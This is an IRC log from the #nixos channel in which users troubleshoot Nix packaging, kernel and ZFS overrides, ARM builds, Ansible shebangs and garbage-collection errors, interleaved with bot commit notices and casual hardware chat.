Looks like I may have answered my own question. Didn't see the builtins section (https://nixos.org/nix/manual/#ssec-builtins), and somehow it wasn't coming up when I searched for it
erictapen has quit [(Remote host closed the connection)]
erictapen has joined #nixos
zzamboni has quit [(Quit: Leaving.)]
Neo-- has joined #nixos
zzamboni has joined #nixos
truh has joined #nixos
notdaniel has quit [(Quit: Leaving)]
Phillemann has joined #nixos
zzamboni has quit [(Remote host closed the connection)]
<Phillemann>
I'm trying to use cabal2nix --shell to generate an environment for my Haskell package. However, it doesn't seem to put "cabal-install" in the dependencies, so I can't run cabal build.
<Phillemann>
Is that indended behavior?
zzamboni has joined #nixos
hamishmack has quit [(Quit: hamishmack)]
p4cman has quit [(Quit: Connection closed for inactivity)]
<sphalerite>
knedlsepp: I think it's a normal side effect, since it uses user namespacing. Not sure though
<sphalerite>
Kim: there are three manuals — nixpkgs, nixos, and nix. They look deceptively similar, visually, so that may be what got you there
proteusguy has quit [(Remote host closed the connection)]
<sphalerite>
Does anyone have stats on how often how many packages are updated by channel bumps?
<sphalerite>
gchristensen: you're the stats wizard, do you maybe?
<sphalerite>
gchristensen: otherwise I might cannibalise some nix-borg code to find out :)
<gchristensen>
sphalerite: use nixpkgs/maintainers/scripts/rebuild-amount.sh
<myrl>
I know this is gonna be off-topic, but in terms of compiling, is there even any single core processors that can top, say, a 2008-2010 Xeon/Opteron?
<myrl>
Rather
<etu>
No, compilation is one task that is very good at multithread
<myrl>
etu: Yeah, I know. Just amazed at how great parallelism is when it works.
<myrl>
hyper_ch: Lmao
<myrl>
hyper_ch: Works for me personally too. "Oh, I have a project to make... but it's compiling. Better play games."
<sphalerite>
aww, rebuild-amount.sh isn't super speedy
<srk>
hehe, I'm trying to pack two xeon e5s into my workstation for fast compiling
<sphalerite>
although I'm not really surprised by that.
<hedning[m]>
need it to add attribute path completion when working with channels supplied on the command line
Wizek_ has joined #nixos
MichaelRaskin has joined #nixos
joe4 has joined #nixos
* gchristensen
waves to MichaelRaskin
<MichaelRaskin>
Hello.
aloiscochard has quit [(Quit: Connection closed for inactivity)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] vcunat opened pull request #31862: dns-root-data: use a stable URL that I maintain anyway (master...p/dns-root-data-stability) https://git.io/vFQpu
NixOS_GitHub has left #nixos []
<MichaelRaskin>
gchristensen: By the way, it looks like running borg instance overnight doesn't do anything.
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] orivej pushed 1 new commit to master: https://git.io/vFQpX
<myrl>
hyper_ch: Let me get you the waybackmachine then.
<gchristensen>
BlessJah: well that is bizarre
<hyper_ch>
myrl: it's ok
justanotheruser has joined #nixos
<BlessJah>
gchristensen: note another stunt with sleep 1h
<BlessJah>
that's on purpose, temp files get removed as soon as ansible finishes
zzamboni has joined #nixos
<myrl>
A bit of a segway.
<myrl>
Should I nuke my RasPi's SD card and put it on my phone and try to run Linux again?
<BlessJah>
gchristensen: what exactly is bizzare?
Wizek_ has quit [(Ping timeout: 240 seconds)]
whald has quit [(Ping timeout: 240 seconds)]
<sphalerite>
myrl: yes! and tell me how it goes and how you do it :p
<myrl>
sphalerite: Mkay. Remember, it's your call, not mine. :P I'll blame you if I start crying.
<BlessJah>
I wonder what nix-shell does when I invoke it interactively wihtout path argument
rihards has quit [(Quit: rihards)]
<BlessJah>
According to manpage it tries shell.nix and default.nix (and the error I get from ansible is that default.nix was not found), but for interactive use it's just ok.
<gchristensen>
BlessJah: you can't just put a sleep in a shebang
Itkovian has joined #nixos
<BlessJah>
gchristensen: it prevents temporary file from being removed
<sphalerite>
myrl: that would be unfortunate
<BlessJah>
not that I expect next line to be executed
<roconnor>
aww, my x-server display doesn't work on my lenovo x1 carbon this week :'(
cinimod` has quit [(Ping timeout: 260 seconds)]
<myrl>
roconnor: Why not?
Itkovian has quit [(Client Quit)]
<myrl>
Well...
<roconnor>
I don't know. I didn't notice any errors in the X log. X seems to think it is running just fine.
<BlessJah>
gchristensen: ANSIBLE_KEEP_REMOTE_FILES=1 did the trick, no more sleep shenanigans
<BlessJah>
it doesn't work
<gchristensen>
:/
<BlessJah>
when I invoke it manually I get python error - apparently the script tries to invoke itself using subprocess
reinzelmann has quit [(Quit: Leaving)]
<BlessJah>
but script invoked by ansible didn't even got that far
<Phillemann>
I'm using dockerTools.buildImage to build a docker image. If that works (using nix-build myimage.nix), I'd like to know the file name of the image, so I can "docker load" it automatically.
<myrl>
sphalerite: You excited for what will happen? :D
<gchristensen>
srk: oh, I don't know haskell... :)
<myrl>
gchristensen: I was actually surprised to know that a prominent member here doesn't know Haskell. :P
<srk>
gchristensen: try it ;)
Itkovian has joined #nixos
<sphalerite>
srk: but shell
<srk>
aah
<gchristensen>
*shrug* maybe some day
<roconnor>
acutally there seems to be an error: Auth: sddm-helper exited with 11
<myrl>
gchristensen: To what extent do you not know?
zzamboni has quit [(Quit: Leaving.)]
<myrl>
...I think the inverse of that question would have sounded better.
<gchristensen>
I've written toy functions in it and followed some of LYAH but have never felt compelled to actually use it for a thing and learn how to do real things with it
<adisbladis>
myrl:
<myrl>
adisbladis: Thanks. :P
<adisbladis>
myrl: I think so what if the FSF doesnt think its good enough
<adisbladis>
Its a major step in the right direction
<myrl>
Oh. I thought you were pinging me for gchristensen lmao
<sphalerite>
how do I get bash to word-split something ffs. Usually you're trying to avoid it, now I want it and I can't get it
<adisbladis>
myrl: Getting used to my new laptop keyboard ;)
<myrl>
adisbladis: What laptop?
<goibhniu>
roconnor: anything exciting in journalctl?
<adisbladis>
myrl: Thinkpad 25
zzamboni has joined #nixos
<myrl>
adisbladis: Also, I think it's very possible to have a 100% FOSS mobile phone.
<roconnor>
goibhniu: there is a recent commit to modules/services/x11/display-mangers/sddm.nix that sounds like it could be related
<roconnor>
i.e. it may have been fixed yesterday in master
<sphalerite>
myrl: btw for your ARM experiments you're welcome to use my binary cache if you want, it has some ARMv7 stuff from nixos-17.09 in it (as opposed to Dezgeg's which is on unstable)
<myrl>
sphalerite: Probably won't work on Android. :P
<sphalerite>
(not that I make use of it)
<goibhniu>
sphalerite: do you happen to know if kodi is working on aarch64?
<roconnor>
goibhniu: I see moderate evidence that 11 means segfault and this recent change fixes some sort of segfault in sddm on startup.
<sphalerite>
goibhniu: I don't really know anything about aarch64, I only have my ARMv7 laptop
<myrl>
sphalerite: I'll use it, can I use 17.09+cherry-pick?
<goibhniu>
ah, right
<adisbladis>
myrl: In theory yes in practice not yet
magnetophon has joined #nixos
<myrl>
adisbladis: What happens?
<myrl>
adisbladis: Wait, are we talking about the cherry pick?
<sphalerite>
myrl: of course. I don't have any sort of fixed procedure for how I update the cache so it's mostly a matter of luck if you do find something you want on it :p but yeah it could be useful especially for LLVM since that takes so long to build
<sphalerite>
Should you need LLVM, that is.
<adisbladis>
myrl: Foss phone
<myrl>
sphalerite: LLVM works. Cool. That means rust shouldn't be too far, right?
<Dezgeg>
does the specific llvm that rust uses work though?
* etu
expects adisbladis to package an image for the Librem Phone when it ships ;)
<sphalerite>
myrl: I've successfully used the rust overlay, which uses the official binaries and patches them
<sphalerite>
myrl: as for nixpkgs rust, no luck with that so far
<myrl>
adisbladis: Have you heard about EOMA68? Not exactly the specs we want though.
<goibhniu>
EOMA68 \o/
<Dezgeg>
at least llvm_4, llvm_35, llvm_5 fail on aarch64 (which is really weird)
<BlessJah>
gchristensen: this is what's happening...
<myrl>
adisbladis: Ughhh, sorry, you're right. IIRC, basebands are closed due to bla bla bla government regulations bla bla bla.
<goibhniu>
thanks gchristensen, so it's not being built for aarch64 at the moment IIUC
<gchristensen>
goibhniu: seems so, I wonder why
<sphalerite>
goibhniu: yep, I've made extensive use of that :D
<sphalerite>
Doesn't work with all videos, but a decent amount of them
<myrl>
adisbladis: Something something, "if it's free, you can load your own firmware and use other freqs". I wonder if it's possible to use GPLv2, since that doesn't disallow Tivoization.
<Dezgeg>
in job ‘kodi.aarch64-linux’: No bootstrap for system
<Dezgeg>
which sounds like it indirectly depends on openjdk for whatever reason
<adisbladis>
myrl: That could just be down to hardware fuses or something like that..
<sphalerite>
Those restrictions are kinda stupid because SDRs are still a thing
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] copumpkin pushed 1 new commit to master: https://git.io/vF7TM
<NixOS_GitHub>
nixpkgs/master 73c30b6 Dan Peebles: hupper: fix tests on Darwin
NixOS_GitHub has left #nixos []
<sphalerite>
In the end the hardware maker can't really be held responsible for the users doing illegal stuff with it
<myrl>
sphalerite: "Software defined radio"?
dywedir has joined #nixos
<goibhniu>
eep, I wonder if some plugins use openjdk
<sphalerite>
myrl: yeah
<goibhniu>
hrm, they seem to be python
<myrl>
You know
<myrl>
I should put this on my "before I die" wishlist.
<myrl>
FOSS phones and desktops.
<myrl>
Who wouldn't want to run NixOS everywhere?
<myrl>
sphalerite: Can you link me your bincache and how to install it?
pie_ has quit [(Remote host closed the connection)]
<sphalerite>
Yeah. I want a librem 5 to run nixos on
pie_ has joined #nixos
<sphalerite>
myrl: nixos or just nix?
<myrl>
sphalerite: Just Nix.
ToxicFrog has quit [(Ping timeout: 252 seconds)]
<sphalerite>
myrl: ix.io/CjO
<sphalerite>
You only need the last pubkey
<sphalerite>
And that goes in /etc/nix/nix.conf
<hyper_ch>
myrl: why not nixos?
joe4 has quit [(Ping timeout: 252 seconds)]
<sphalerite>
Brb shower
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] copumpkin pushed 1 new commit to release-17.09: https://git.io/vF7kZ
<NixOS_GitHub>
nixpkgs/release-17.09 c2a0512 Dan Peebles: hupper: fix tests on Darwin...
NixOS_GitHub has left #nixos []
ma27 has quit [(Ping timeout: 240 seconds)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nix] edolstra pushed 1 new commit to master: https://git.io/vF7k4
<myrl>
sphalerite: Dezgeg: Can armv7l have >4GB VM?
ToxicFrog has joined #nixos
<Dezgeg>
probably depends on hardware, but yes
Isorkin_ has joined #nixos
<hyper_ch>
(to nitpick: windows 32bit can also have more than 4gb ram, but not address more in actual use)
<myrl>
hyper_ch: What do you mean by that?
<Dezgeg>
well, a single process can't use more than 3gb of course
<hyper_ch>
you can add 16gb ram, run windows 32bit... but it will never address more than 4gb and it seems only actual 3.2gb are usable
<hyper_ch>
so it can have more than 4gb but not use it
<myrl>
Dezgeg: ...I feel stupid. It never really clicked to me that PAE only helps the kernel until now.
<myrl>
Dezgeg: Wait, can there be PAE-enabled programs?
<Dezgeg>
well, if you spend lots of time with mremap() or some stuff, yes
Isorkin has quit [(Ping timeout: 268 seconds)]
<roconnor>
goibhniu: hmm, so upgrading my system didn't work, but manually running that `rm` command from the patch did work. Very weird.
<myrl>
Dezgeg: So, pretty much near/far pointers?
<roconnor>
anyhow, this will all be fixed on the next Qt upgrade.
<Dezgeg>
no, even worse!
<myrl>
Dezgeg: :P
<Dezgeg>
(in other words: nobody has really implemented that stuff like, ever)
<goibhniu>
roconnor: sounds promising!
<myrl>
Dezgeg: NOT UNTIL NOW!
<myrl>
nah j.
<myrl>
jk
miko__ has joined #nixos
<roconnor>
Once again the ability to boot into old configurations saves me!
slyfox has quit [(Ping timeout: 248 seconds)]
dywedir has quit [(Remote host closed the connection)]
<myrl>
roconnor: ext4 fsck killed me once, and old configs saved me.
slyfox has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] orivej pushed 1 new commit to master: https://git.io/vF7LC
<NixOS_GitHub>
nixpkgs/master b821f35 Orivej Desh: mlocate: replace dead links
NixOS_GitHub has left #nixos []
MercurialAlchemi has quit [(Quit: Lost terminal)]
acarrico has joined #nixos
<sphalerite>
hyper_ch: pretty sure 32-bit windows can use PAE to make use of more than 4G of RAM
<hyper_ch>
then it's 34-bit windows :)
<hyper_ch>
it can use pae with a seperate kernel
hellrazor has quit [(Quit: WeeChat 1.9.1)]
<sphalerite>
Microsoft Windows supports PAE if booted with the appropriate option, but according to Geoff Chappell, Microsoft may limit 32-bit versions of Windows to 4 GB as a matter of its licensing policy.
<sphalerite>
LOL
<hyper_ch>
lol
<Li[m]>
i pulled in the new strongswan service PR, and it adds so many nixos options that building the manpage felt like something was stuck in a loop
<Li[m]>
and opening the configuration.nix manpage takes quite longer. any idea on a better approach to this?
<Li[m]>
the best fix to the IP namespace overloading problem
<Li[m]>
also gets rid of SSL, SSH, yadayda
<hyper_ch>
why?
<Li[m]>
cause the network layer is authenticated and encrypted host to host
<hyper_ch>
hmmm
<greymalkin>
Is there a way to set the prompt for a nix-shell environment? I've tried PS1 settings and so forth, but always come out with the (mostly uninformative) bold-green
<Li[m]>
can also use it to authenticate, for wifi or your irc server whatever
<gchristensen>
greymalkin: set PS1 in the shellHook inside a shell.nix?
<Li[m]>
would make the great firewall of china obsolete
<Li[m]>
:P
<gchristensen>
Li[m]: only if you 100% trust everyone on the hosts
<gchristensen>
let's not make the mistake of having gooey centers to our networks again
<Li[m]>
no you can use a host ID for every user
<Li[m]>
and encrypt it with an agent like ssh
<hyper_ch>
gooey centers?
<Li[m]>
:D
<gchristensen>
hyper_ch: many networks are hard outsides (well protected) and gooey centers (once you're in, you're king and can do anything you want)
<hyper_ch>
ah, like ours :)
JosW has joined #nixos
<BlessJah>
the other kind is gooey on the outside, but hard to use for legitimate users
<Li[m]>
maybe we should change 'host identity' for 'peer identity'
arianvp2 has quit [(Quit: arianvp2)]
mizu_no__ has quit [(Quit: Computer has gone to sleep.)]
<gchristensen>
does every nix command take --show-trace?
danharaj has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] vandenoever opened pull request #31866: kruler: init at 5.0 (master...kruler) https://git.io/vF7Za
NixOS_GitHub has left #nixos []
cement has joined #nixos
zzamboni has joined #nixos
Neo-- has quit [(Ping timeout: 255 seconds)]
remexre has quit [(Ping timeout: 255 seconds)]
<MichaelRaskin>
I would nix-store not to.
<MichaelRaskin>
would expect
<myrl>
sphalerite: Does your bincache have firefox 57?
zzamboni has quit [(Ping timeout: 255 seconds)]
<Dezgeg>
quite unlikely as rust doesn't work yet and firefox depends on that
<myrl>
Dezgeg: Oh dammit. :(
<myrl>
Dezgeg: The price we pay, huh.
<Dezgeg>
but yeah, getting at least one web browser (not counting elinks/w3m) working would be nice :P
<myrl>
Dezgeg: Wait, nothing works?
<myrl>
Dezgeg: I mean, I have it working on Debian.
<myrl>
Dezgeg: Not 57.
<MichaelRaskin>
52 ESR could be buildable without Rust.
<MichaelRaskin>
56 should already include _some_ Rust code.
<Dezgeg>
maybe some qtwebkit-based browser would actually work
remexre has joined #nixos
p4cman has joined #nixos
<myrl>
Dezgeg: What's wrong with webkitgtk?
<MichaelRaskin>
I think Midori could be a little bit easier.
<Dezgeg>
firefox-esr-unwrapped seems to also depend on rust (of course, could be a packaging bug)
forgetful has joined #nixos
<Dezgeg>
webgitgtk seems to time out building on aarch64
asuryawanshi has joined #nixos
<Dezgeg>
while qtwebkit does compile successfully
<forgetful>
Hello everybody. I am having troubles using a channel through https. The channel is served through reverse proxy by apache2. The same channel works thorugh reverse proxy for plain http. I get the following error when doing nix-channel --update: /home/alice/.nix-profile/bin/nix-channel: unable to check ‘https://....'
<myrl>
Dezgeg: What does timeeout mean?
<Dezgeg>
it didn't finish in 10 hours
asuryawanshi has quit [(Remote host closed the connection)]
<myrl>
Dezgeg: Oh lmao
<Dezgeg>
which seems the time limit in the hydra configuration
asuryawanshi has joined #nixos
<myrl>
Dezgeg: what's your build machine?
<Dezgeg>
that's not mine but the nixos.org builder from packet.net
<myrl>
Dezgeg: Oh. I'm not familiar with ARM servers. How would you say it compares to x86?
<Dezgeg>
it does have 96 cores but single-core performance isn't that great...
<myrl>
Dezgeg: Damn.
zzamboni has joined #nixos
<forgetful>
could it be related to this: /nix/store/pzlhf9j12zlxg2p9n543hk1kvhj363wa-perl-5.24.2/lib/perl5/5.24.2/x86_64-linux-thread-multi/CORE/tls/libperl.so" (No such file or directory)?
Tucky has quit [(Quit: WeeChat 1.9.1)]
ryantrinkle has joined #nixos
<Wizek>
hello
Arcaelyx has joined #nixos
endformationage has joined #nixos
<Wizek>
can I make all nix commands on my system run as if I specified -j4 for all of them? Some kind of global config. I run nix on both Ubuntu and WSL
savanni has joined #nixos
<MichaelRaskin>
Option build-cores in /etc/nix/nix.conf I think
<MichaelRaskin>
(both available options — there are build-cores and build-max-jobs and config location)
<myrl>
sphalerite: Filesystem Size Used Avail Use% Mounted on
<myrl>
/dev/block/mmcblk1p1 26G 328M 24G 2% /
<myrl>
sphalerite: Here we go. :)
<myrl>
But for now, I'll make a Debian env, since I "need" to use it tomorrow.
<Wizek>
MichaelRaskin: thanks
ThatDocsLady has quit [(Remote host closed the connection)]
zzamboni has quit [(Quit: Leaving.)]
ThatDocsLady has joined #nixos
zzamboni has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] ocharles pushed 1 new commit to master: https://git.io/vF7Bt
<NixOS_GitHub>
nixpkgs/master bea2e8d Oliver Charles: rescuetime: 2.9.11.1300 -> 2.10.0.1322
NixOS_GitHub has left #nixos []
zzamboni has quit [(Ping timeout: 248 seconds)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] ocharles pushed 1 new commit to release-17.09: https://git.io/vF7BR
<NixOS_GitHub>
nixpkgs/release-17.09 252083a Oliver Charles: rescuetime: 2.9.11.1285 -> 2.10.0.1322
NixOS_GitHub has left #nixos []
<ocharles>
^ Before anyone jumps at the a version bump in release-17.09, rescuetime is a binary distribution and they mutate the URL - you can't get old versions
<sphalerite>
myrl: yeah no graphical browser yet
davidak has quit [(Ping timeout: 268 seconds)]
<BlessJah>
copumpkin: will #!/nix/store/...-python2.7-env/bin/python2 shebang work?
Itkovian has quit [(Remote host closed the connection)]
<copumpkin>
hmm, except on Darwin :)
erictapen has joined #nixos
<copumpkin>
so probably not a good fix
<copumpkin>
we really need our wrappers to be compiled binaries
<copumpkin>
I have a ticket open for that
<BlessJah>
but on linux, will it use correct env?
Itkovian has joined #nixos
<copumpkin>
yeah
<BlessJah>
note that it's 2.7, not 3.x with all pyenv goodness
<copumpkin>
it would on Darwin too if Darwin supported scripts in shebang interpreters
Itkovian has quit [(Client Quit)]
<ocharles>
Do we prefer rebase merges when merging 1 commit PRs?
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] ocharles pushed 1 new commit to master: https://git.io/vF70E
<NixOS_GitHub>
nixpkgs/master ae4ea45 Roman Volosatovs: mopidy-iris: 3.6.1 -> 3.8.2
NixOS_GitHub has left #nixos []
<BlessJah>
unfortunately darwin is listed as supported by ansible
<BlessJah>
copumpkin: shebang has to be binary on darwin?
<BlessJah>
env-style binary translating shebangs shouldn't be hard to write :)
arianvp2 has joined #nixos
<copumpkin>
oh yeah it's a trivial <20 lines of C
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] ocharles pushed 1 new commit to master: https://git.io/vF7EC
<NixOS_GitHub>
nixpkgs/master 201b4c2 James Earl Douglas: jenkins: 2.90 -> 2.91
NixOS_GitHub has left #nixos []
<earldouglas>
Wow, that was fast. :]
<ocharles>
What does "@GrahamcOfBorg GrahamcOfBorg added 10.rebuild-darwin: 101-500 10.rebuild-linux: 101-500 labels 3 hours ago" mean?
<ocharles>
earldouglas: thanks for your diligence in keeping jenkins up to date!
<myrl>
sphalerite: Rip. Deal breaker for me.
<ocharles>
you timed your pr well ;)
<myrl>
sphalerite: I guess that means Nix is a build tool. :P
<myrl>
brb
<copumpkin>
ocharles: it tracks how many rebuilds each PR will cause
<ocharles>
101-500 implies that many rebuilds?
<copumpkin>
yeah
<copumpkin>
we bucket the number so they can go into tags
<ocharles>
so should I not be just blindly merging prs?
<copumpkin>
well, if it's a ton of rebuilds, it'd be nice not to merge them to master :)
<copumpkin>
at some point we'll get more systematic about what goes into master and what doesn't
<copumpkin>
if the bots get good enough, I think many of us would love for the core branches to be managed purely by machine
arianvp2 has quit [(Quit: arianvp2)]
<BlessJah>
btw, is it normal for hydra to take a while to load (the webpage)?
<copumpkin>
that would take care of cherry-picking as necessary and preventing mass rebuilds or broken evaluations from sneaking into places they don't belong
<copumpkin>
BlessJah: yeah, sadly
<BlessJah>
does it generate some stuff on the fly?
<BlessJah>
copumpkin: why not microcaching?
myrl1 has joined #nixos
<copumpkin>
limited developer time :) I'm sure they'd very happily merge perf improvements to the front end if someone made a PR
<ocharles>
i see
<copumpkin>
unfortunately the extensive perl in Hydra is a PR deterrent *nudge* *nudge* niksnut
<copumpkin>
:P
<copumpkin>
it's a bit of a GHC-not-on-github situation. Do we optimize for the people who are most likely to do more of the contributing or optimize for newcomers to make quick fixes
<BlessJah>
copumpkin: sat nginx in front of perl and don't look there again
myrl has quit [(Ping timeout: 260 seconds)]
rogue_koder has joined #nixos
<copumpkin>
still takes a PR :) or talk to niksnut about it
<sphalerite>
Probably going to run out of space or memory though :p
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] NeQuissimus pushed 1 new commit to master: https://git.io/vF7VO
<NixOS_GitHub>
nixpkgs/master 58cc833 Tim Steinbach: linux-copperhead: 4.13.13.a -> 4.13.14.a
NixOS_GitHub has left #nixos []
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] NeQuissimus pushed 1 new commit to release-17.09: https://git.io/vF7VG
<NixOS_GitHub>
nixpkgs/release-17.09 60232e2 Tim Steinbach: linux-copperhead: 4.13.13.a -> 4.13.14.a...
NixOS_GitHub has left #nixos []
<BlessJah>
sphalerite: don't leave facebook running for few days, my laptop died today because of facebook
<savanni>
Hey, y'all. I wanted to let you know that I'm having to switch from NixOS to a Mac, but I'm going to keep using Nix for everything I can. I'll be lurking around to ask questions or post tips as I figure out how to Nixify packages on this platform.
zzamboni has joined #nixos
<gchristensen>
w00t savanni, you'll probably want ##nix-darwin and github.com/lnl7/nix-darwin
<savanni>
Oh, that sounds like it might be better than here.
<LnL>
o/
<savanni>
@gchristensen I actually got pretty decent as packaging things, but not necessarily for distribution. Sadly, that hard-lock problem I was having last year came back. And... well... work.
<gchristensen>
aye :)
<BlessJah>
copumpkin: python27.withPackages and #!/nix/store/...-python27-env worked
forgetful has quit [(Quit: Leaving)]
<copumpkin>
cool
<copumpkin>
so now Darwin will be b0rked :)
<BlessJah>
nobody cares about darwin
<gchristensen>
ouch
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] globin pushed 5 new commits to release-17.09: https://git.io/vF7wa
<NixOS_GitHub>
[nixpkgs] ttuegel closed pull request #31743: wrapFirefox: make overridable, support browserpass (master...firefox/wrapper) https://git.io/vFDI4
NixOS_GitHub has left #nixos []
<savanni>
Give me twenty minutes to get through my morning meeting.
<myrl>
copumpkin: Do you devour pumpkins?
<copumpkin>
by the dozens
<srk>
what is the correct way to override kernel modules I'm trying linuxPackages_latest = pkgs.recurseIntoAttrs (pkgs.linuxPackagesFor linux_4_14); linuxPackages_latest.zfs = zfs; where zfs is in local record as well but getting attribute alredy defined
<BlessJah>
savanni: Ok, I'll commute back home and be here in under an hour.
<BlessJah>
LnL: do you have mac as well?
<srk>
looks like I need something like pkgs.linuxPackagesFor.override?
<copumpkin>
so I guess they added support for it in 10.12
nordkap has joined #nixos
<copumpkin>
we're technically trying to be 10.11-friendly in nixpkgs right now but I guess we could reconsider if it makes stuff like this awkward
nordkap has quit [(Client Quit)]
nordkap has joined #nixos
<copumpkin>
I think many of the hydra builders are still on 10.11 though
nordkap has quit [(Client Quit)]
Thra11 has joined #nixos
forgetful has joined #nixos
<Thra11>
What is the name of the package which contains 'make'?
<srk>
looks like I can override linuxPackages.spl = pkgs.linuxPackages.splUnstable; but cannot do that with linuxPackages_latest
<srk>
error: attribute ‘extend’ missing, at /etc/nixpkgs/nixos/modules/system/boot/kernel.nix:26:31
<steveeJ>
any ideas why nix-collect-garbage -d could throw 'error: getting status of ‘/nix/store/trash/v8cnl344mjh4qb60j47rw7yh4vsy59mx-tzdata-2016j/share/zoneinfo/Asia/Sakhalin/default.nix’: No such file or directory' ?
<forgetful>
Hello everybody, I have a question: I have a package which depends on another package build on the same hydra system. How can I refer from one to another? (My guess it would be to add an input like previous hydra build but I cannot understand how to use it). Any help appreciated. Thanks!
<Thra11>
and is there some sort of 'what provides' command which would allow me to find out for myself?
<srk>
Mic92: trying to override zfs with custom git repo which seems to work but it looks like wrong spl is pulled unless I override it directly in all-packages.nix (not nixos though) as I'm getting error: Package ‘spl-kernel-0.7.3-4.14’ in /etc/nixpkgs/pkgs/os-specific/linux/spl/default.nix:49 is marked as broken, refusing to evaluate. otherwise
<fpletz>
hyper_ch: probably, but just to be sure :)
<srk>
nixos/notos derivative, building against linuxPackages_latest
<hyper_ch>
let's test if I can make homeserver crash again with zfs receiving :)
ThatDocsLady has quit [(Read error: Connection reset by peer)]
Itkovian has joined #nixos
<Mic92>
srk: you also need to override spl, not just zfs
<Mic92>
its in build inputs of zfs
ThatDocsLady_ has quit [(Remote host closed the connection)]
ThatDocsLady_ has joined #nixos
<Mic92>
fpletz: but sounds like it would be still fixable.
<srk>
Mic92: aha!
<Mic92>
spl also have the broken flag set
<srk>
yeah, that's what's troubling me now :D
<srk>
I need a way for ad-hoc replacements of critical components - kernel, lxc, zfs, criu
<srk>
trying to do it with overrides so I don't have to patch nixpkgs everytime
<srk>
mostly when we need to try some ad-hoc fixed
<srk>
*fixes
jb55 has joined #nixos
<hyper_ch>
srk: I've been debugging zfs a bit lately with a zfs developer... I couldn't properly do overrides and stuff... so in the end I did alter the .nix files in the nix store directly but that's not really recommended
<savanni>
I don't think that was what you wanted, though.
<cstrahan>
copumpkin: yeah - a gemfile is needed for bundler to active the requisite deps.
<copumpkin>
so the lock isn't good enough?
chreekat has joined #nixos
<cstrahan>
copumpkin: No, sadly.
slabity has joined #nixos
fendor has joined #nixos
<Mic92>
srk: just override zfsUnstable instead, it is splUnstable in buildInputs
<srk>
aha
betaboon has joined #nixos
<srk>
heh, sometimes I'm getting insta-reponses from nix-build with older attempts :D
<slabity>
Whenever I try to open a file with spacemacs, I constantly get "No module named 'setuptools'" error, even when I add it to my profile. How am I suppose to fix this?
civodul has quit [(Quit: ERC (IRC client for Emacs 25.3.1))]
<betaboon>
ollá #nixos, i have a question on nixops+containers: how do i bridge containers that i deployed to localhost ?
<slabity>
Essentially, emacs cannot find python modules that I have installed in my user profile.
<ixxie>
can anyone help a poor chap with his first package? I am working on jupyterhub which required me to also package python-oauth2 (both python modules); here are the files + errors: https://gist.github.com/ixxie/a244b10696a8e9dff0883ecc651ab509
<hyper_ch>
ok, I fail at getting sha sum
<steveeJ>
I'm still debugging my nix-store --gc issue, and I'm wondering how a path can even get into /nix/store/trash
<steveeJ>
and why the nix-store would reference the trash at any time
<sphalerite>
Wait, nix-store is referencing your trash!?
<sphalerite>
Err
<sphalerite>
You mean nix-store or the nix store?
<steveeJ>
that's my understanding
<clever>
steveeJ: nix-store --gc and nix-collect-garbage will use the rename() syscall to move whole storepaths into /nix/store/trash, because it can atomicly remove it from /nix/store/
<steveeJ>
did you spot my error I posted earlier? nix-store --gc throws an error it can't find something in the trash
<clever>
steveeJ: so a partially deleted storepath doesnt get seen by an application
<clever>
steveeJ: when the gc is fully finished, it will just recursively delete the whole trash
<cstrahan>
ixxie: it looks like your first problem is that jupyter hub includes some nodejs stuff, and that nodejs stuff fails to build. $HOME in a nix-build environment is a made-up/nonexistent '/homeless-shelter' path, and that's what's tripping up the npm build.
<steveeJ>
clever: and why wouldn't it be able to find something that's in the trash? and how does it even remember it was there before? this is confusing
<clever>
steveeJ: what path exactly did it complain about?
<steveeJ>
error: getting status of ‘/nix/store/trash/v8cnl344mjh4qb60j47rw7yh4vsy59mx-tzdata-2016j/share/zoneinfo/Asia/Sakhalin/default.nix’: No such file or directory
<clever>
steveeJ: that doesnt sound right at all
<clever>
-r--r--r-- 1 root root 1.3K Dec 31 1969 /nix/store/v8cnl344mjh4qb60j47rw7yh4vsy59mx-tzdata-2016j/share/zoneinfo/Asia/Sakhalin
<clever>
steveeJ: thats a file!!, why is it trying to find the default.nix under a file?
<steveeJ>
I have no idea what's going on, honestly
tmaekawa has joined #nixos
<clever>
steveeJ: it sounds a lot more like you ran nix-build on something
<steveeJ>
I have the same setup on about 50 LXC containers and one of them shows this symptom
<cstrahan>
ixxie: I see several ways around this -- 1) see if you can build the npm stuff as a separate derivation (while preventing jupyterhub's build script from trying to do that work), and then you can symlink the pre-built nodejs/npm lib as necessary, or 2) do something like preBuild="mkdir .home; HOME=$PWD/.home", so that when jupyterhub's build script tries to invoke npm, npm doesn't explode due to the nonexistent path.
<steveeJ>
clever: I don't necessarily have to find the cause of it, getting nix-store --gc to work again is my short-term goal
<ixxie>
cstrahan: I found some post suggesting to use export HOME=$TMP
<clever>
steveeJ: why cant you use nix-collect-garbage?
ambro718 has quit [(Quit: Konversation terminated!)]
tmaekawa has quit [(Client Quit)]
<steveeJ>
clever: that's the program that throws said error
<clever>
steveeJ: can you gist the command you ran and all of its output?
<clever>
steveeJ: line 313, it connected to nix-daemon and the details are missing, unset NIX_REMOTE and try again
<haroldcarr>
clever: I know 'assert' exists - I just don't know how/where to say to make it available. My default.nix does not include it (to workaround nix bug).
<haroldcarr>
clever: where do I put an expression to make it available when I enter 'nix-shell'?
<clever>
haroldcarr: if you point nix-shell at a file, it will give you an env suitable to build whatever that file describes
<cstrahan>
ixxie: remind me to circle back to that last question of yours. first, to address your last gist: python-auth2 looks like it needs (at least for that test; don't know about runtime) something like mysql-connector-python, rather than pymysql (I could be wrong here, though; I'm judging by e.g. https://stackoverflow.com/questions/24272223/import-mysql-connector-python)
<haroldcarr>
